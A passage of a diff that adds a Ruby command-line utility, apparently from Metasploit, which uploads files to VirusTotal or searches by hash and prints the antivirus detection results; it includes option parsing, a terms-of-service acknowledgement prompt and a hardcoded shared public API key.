+      'boundary' => 'THEREAREMANYLIKEITBUTTHISISMYDATA',
+      'api_key'  => @api_key,
+      'filename' => @sample_info['filename'],
+      'data'     => @sample_info['data']
+    }
+
+    _execute_request({
+      'uri'    => '/vtapi/v2/file/scan',
+      'method' => 'POST',
+      'vhost'  => 'www.virustotal.com',
+      'ctype'  => "multipart/form-data; boundary=#{opts['boundary']}",
+      'data'   => _create_upload_data(opts)
+    })
+  end
+
+
+  #
+  # Returns the report of a specific malware hash
+  # @return [Hash] JSON response
+  #
+  def retrieve_report
+    _execute_request({
+      'uri'       => '/vtapi/v2/file/report',
+      'method'    => 'POST',
+      'vhost'     => 'www.virustotal.com',
+      'vars_post' => {
+        'apikey'   => @api_key,
+        'resource' => @sample_info['sha256']
+      }
+    })
+  end
+
+  private
+
+  #
+  # Returns the JSON response of a HTTP request
+  # @param opts [Hash] HTTP options
+  # @return [Hash] JSON response
+  #
+  def _execute_request(opts)
+    res = send_request_cgi(opts)
+
+    return '' if res.nil?
+    case res.code
+    when 204
+      raise RuntimeError, "You have hit the request limit."
+    when 403
+      raise RuntimeError, "No privilege to execute this request probably due to an invalye API key"
+    end
+
+    json_body = ''
+
+    begin
+      json_body = JSON.parse(res.body)
+    rescue JSON::ParserError
+      json_body = ''
+    end
+
+    json_body
+  end
+
+  #
+  # Returns malware sample information
+  # @param sample [String] The sample path to load
+  # @return [Hash] Information about the sample (including the raw data, and SHA256 hash)
+  #
+  def _load_sample(sample)
+    info = {
+      'filename' => '',
+      'data'     => ''
+    }
+
+    File.open(sample, 'rb') do |f|
+      info['data'] = f.read
+    end
+
+    info['filename'] = File.basename(sample)
+    info['sha256']   = Digest::SHA256.hexdigest(info['data'])
+
+    info
+  end
+
+
+  #
+  # Creates a form-data message
+  # @param opts [Hash] A hash that contains keys including boundary, api_key, filename, and data
+  # @return [String] The POST request data
+  #
+  def _create_upload_data(opts={})
+    boundary = opts['boundary']
+    api_key  = opts['api_key']
+    filename = opts['filename']
+    data     = opts['data']
+
+    # Can't use Rex::MIME::Message, or you WILL be increditably outraged, it messes with your data.
+    # See VT report for example: 4212686e701286ab734d8a67b7b7527f279c2dadc27bd744abebecab91b70c82
+    data = %Q|--#{boundary}
+Content-Disposition: form-data; name="apikey"
+
+#{api_key}
+--#{boundary}
+Content-Disposition: form-data; name="file"; filename="#{filename}"
+Content-Type: application/octet-stream
+
+#{data}
+--#{boundary}--
+|
+
+    data
+  end
+
+end
+
+class OptsConsole
+  #
+  # Return a hash describing the options.
+  #
+  def self.parse(args)
+    options = {}
+
+    opts = OptionParser.new do |opts|
+      opts.banner = "Usage: #{__FILE__} [options]"
+
+      opts.separator ""
+      opts.separator "Specific options:"
+
+      opts.on("-k", "-k <key>", "(Optional) Virusl API key to use") do |v|
+        options['api_key'] = v
+      end
+
+      opts.on("-d", "-d <seconds>", "(Optional) Number of seconds to wait for the report") do |v|
+        if v !~ /^\d+$/
+          print_error("Invalid input for -d. It must be a number.")
+          exit
+        end
+
+        options['delay'] = v.to_i
+      end
+
+      opts.on("-q", nil, "(Optional) Do a hash search without uploading the sample") do |v|
+        options['quick'] = true
+      end
+
+      opts.on("-f", "-f <filenames>", "Files to scan") do |v|
+        files = v.split.delete_if { |e| e.nil? }
+        bad_files = []
+        files.each do |f|
+          unless ::File.exists?(f)
+            bad_files << f
+          end
+        end
+
+        unless bad_files.empty?
+          print_error("Cannot find: #{bad_files * ' '}")
+          exit
+        end
+
+        if files.length > 4
+          print_error("Sorry, I can only allow 4 files at a time.")
+          exit
+        end
+
+        options['samples'] = files
+      end
+
+      opts.separator ""
+      opts.separator "Common options:"
+
+      opts.on_tail("-h", "--help", "Show this message") do
+        puts opts
+        exit
+      end
+    end
+
+    # Set default
+    if options['samples'].nil?
+      options['samples'] = []
+    end
+
+    if options['quick'].nil?
+      options['quick'] = false
+    end
+
+    if options['delay'].nil?
+      options['delay'] = 60
+    end
+
+    if options['api_key'].nil?
+      # Default key is from Metasploit, see why this key can be shared:
+      # http://blog.virustotal.com/2012/12/public-api-request-rate-limits-and-tool.html
+      options['api_key'] = '501caf66349cc7357eb4398ac3298fdd03dec01a3e2f3ad576525aa7b57a1987'
+    end
+
+    begin
+      opts.parse!(args)
+    rescue OptionParser::InvalidOption
+      print_error("Invalid option, try -h for usage")
+      exit
+    end
+
+    if options.empty?
+      print_error("No options specified, try -h for usage")
+      exit
+    end
+
+    options
+  end
+end
+
+class Driver
+
+  attr_reader :opts
+
+  def initialize
+    opts = {}
+
+    # Init arguments
+    options = OptsConsole.parse(ARGV)
+
+    # Init config manager
+    config = ToolConfig.new
+
+    # User must ack for research privacy before using this tool
+    unless config.has_privacy_waiver?
+      ack_privacy
+      config.save_privacy_waiver
+    end
+
+    # Set the API key
+    config.save_api_key(options['api_key']) unless options['api_key'].blank?
+    api_key = config.load_api_key
+    if api_key.blank?
+      print_status("No API key found, using the default one. You may set it later with -k.")
+      exit
+    else
+      print_status("Using API key: #{api_key}")
+      opts['api_key'] = api_key
+    end
+
+    @opts = opts.merge(options)
+  end
+
+
+  #
+  # Prompts the user about research privacy. They will not be able to get out until they enter 'Y'
+  # @return [Boolean] True if ack
+  #
+  def ack_privacy
+    print_status "WARNING: When you upload or otherwise submit content, you give VirusTotal"
+    print_status "(and those we work with) a worldwide, royalty free, irrevocable and transferable"
+    print_status "licence to use, edit, host, store, reproduce, modify, create derivative works,"
+    print_status "communicate, publish, publicly perform, publicly display and distribute such"
+    print_status "content. To read the complete Terms of Service for VirusTotal, please go to the"
+    print_status "following link:"
+    print_status "https://www.virustotal.com/en/about/terms-of-service/"
+    print_status 
+    print_status "If you prefer your own API key, you may obtain one at VirusTotal."
+
+    while true
+     $stdout.print "[*] Enter 'Y' to acknowledge: "
+     if $stdin.gets =~ /^y|yes$/i
+        return true
+      end
+    end
+  end
+
+
+  #
+  # Retrieves a report from VirusTotal
+  # @param vt [VirusTotal] VirusTotal object
+  # @param res [Hash] Last submission response
+  # @param delay [Fixnum] Delay
+  # @return [Hash] VirusTotal response that contains the report
+  #
+  def wait_report(vt, res, delay)
+    sha256 = res['sha256']
+    print_status("Requesting the report...")
+    res = nil
+
+    # 3600 seconds = 1 hour
+    begin
+      ::Timeout.timeout(3600) {
+      while true
+        res = vt.retrieve_report
+        break if res['response_code'] == 1
+        select(nil, nil, nil, delay)
+        print_status("Received code #{res['response_code']}. Waiting for another #{delay.to_s} seconds...")
+      end
+      }
+    rescue ::Timeout::Error
+      print_error("No report collected. Please manually check the analysis link later.")
+      return nil
+    end
+
+    res
+  end
+
+
+  #
+  # Shows the scan report
+  # @param res [Hash] VirusTotal response
+  # @param sample [String] Malware name
+  # @return [void]
+  #
+  def generate_report(res, sample)
+    if res['response_code'] != 1
+      print_status("VirusTotal: #{res['verbose_msg']}")
+      return
+    end
+
+    short_filename = File.basename(sample)
+    tbl = Rex::Ui::Text::Table.new(
+      'Header'  => "Analysis Report: #{short_filename} (#{res['positives']} / #{res['total']}): #{res['sha256']}",
+      'Indent'  => 1,
+      'Columns' => ['Antivirus', 'Detected', 'Version', 'Result', 'Update']
+    )
+
+    (res['scans'] || []).each do |result|
+      product  = result[0]
+      detected = result[1]['detected'].to_s
+      version  = result[1]['version'] || ''
+      sig_name = result[1]['result']  || ''
+      timestamp = result[1]['update'] || ''
+
+      tbl << [product, detected, version, sig_name, timestamp]
+    end
+
+    print_status tbl.to_s
+  end
+
+
+  #
+  # Displays hashes
+  #
+  def show_hashes(res)
+    print_status("Sample MD5 hash    : #{res['md5']}")     if res['md5']
+    print_status("Sample SHA1 hash   : #{res['sha1']}")    if res['sha1']
+    print_status("Sample SHA256 hash : #{res['sha256']}")  if res['sha256']
+    print_status("Analysis link: #{res['permalink']}")         if res['permalink']
+  end
+
+
+  #
+  # Executes a scan by uploading a sample and produces a report
+  #
+  def scan_by_upload
+    @opts['samples'].each do |sample|
+      vt = VirusTotal.new({'api_key' => @opts['api_key'], 'sample' => sample})
+      print_status("Please wait while I upload #{sample}...")
+      res = vt.scan_sample
+      print_status("VirusTotal: #{res['verbose_msg']}")
+      show_hashes(res)
+      res = wait_report(vt, res, @opts['delay'])
+      generate_report(res, sample) if res
+
+      puts
+    end
+  end
+
+
+  #
+  # Executes a hash search and produces a report
+  #
+  def scan_by_hash
+    @opts['samples'].each do |sample|
+      vt = VirusTotal.new({'api_key' => @opts['api_key'], 'sample' => sample})
+      print_status("Please wait I look for a report for #{sample}...")
+      res = vt.retrieve_report
+      show_hashes(res)
+      generate_report(res, sample) if res
+
+      puts
+    end
+  end
+
+end
+
+end # VirusTotalUtility
+
+
+#
+# main
+#
+if __FILE__ == $PROGRAM_NAME
+  begin
+    driver = VirusTotalUtility::Driver.new
+    if driver.opts['quick']
+      driver.scan_by_hash
+    else
+      driver.scan_by_upload
+    end
+  rescue Interrupt
+    $stdout.puts
+    $stdout.puts "Good bye"
+  end
+end